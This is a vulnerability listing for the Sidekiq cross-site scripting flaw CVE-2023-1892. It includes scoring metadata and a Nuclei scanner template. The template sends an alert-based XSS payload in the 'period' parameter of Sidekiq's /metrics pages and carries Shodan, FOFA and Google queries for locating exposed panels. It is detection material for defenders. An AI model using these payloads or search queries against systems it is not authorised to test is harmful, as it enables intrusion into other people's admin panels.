Sidekiq < 7.0.8 - Cross-Site Scripting

2024-04-2510:42:58

ProjectDiscovery

github.com

sidekiq

cve2023

contribsys

xss

admin panel

security

vulnerability

CVSS3

9.6

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

AI Score

8.6

Confidence

High

EPSS

0.027

Percentile

90.6%

JSON

An XSS vulnerability on a Sidekiq admin panel can pose serious risks to the security and functionality of the system.

id: CVE-2023-1892

info:
  name: Sidekiq < 7.0.8 - Cross-Site Scripting
  author: ritikchaddha,princechaddha
  severity: critical
  description: |
    An XSS vulnerability on a Sidekiq admin panel can pose serious risks to the security and functionality of the system.
  reference:
    - https://huntr.com/bounties/e35e5653-c429-4fb8-94a3-cbc123ae4777
    - https://github.com/sidekiq/sidekiq/commit/458fdf74176a9881478c48dc5cf0269107b22214
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1892
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2023-1892
    cwe-id: CWE-79
    epss-score: 0.02595
    epss-percentile: 0.90273
    cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: contribsys
    product: sidekiq
    shodan-query: http.title:"sidekiq"
    fofa-query:
      - title="Sidekiq"
      - title="sidekiq"
    google-query: intitle:"sidekiq"
  tags: cve,cve2023,sidekiq,contribsys,xss
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/queues"

    matchers:
      - type: word
        internal: true
        part: body
        words:
          - "Sidekiq"
          - "Dashboard</a>"
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/metrics?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"
      - "{{BaseURL}}/metrics/SanityChecksJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"
      - "{{BaseURL}}/metrics/ActiveStorage::PurgeJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img/src/onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200c2a6ce19ce9eb45cb04276522c9693a728388d417553ced77f30ec12ee9417e0221008dc88eae939ce4665bddcc9538ed6c18aa62054a7a768682d3b491b264114bb9:922c64590222798bb761d5b6d8e72950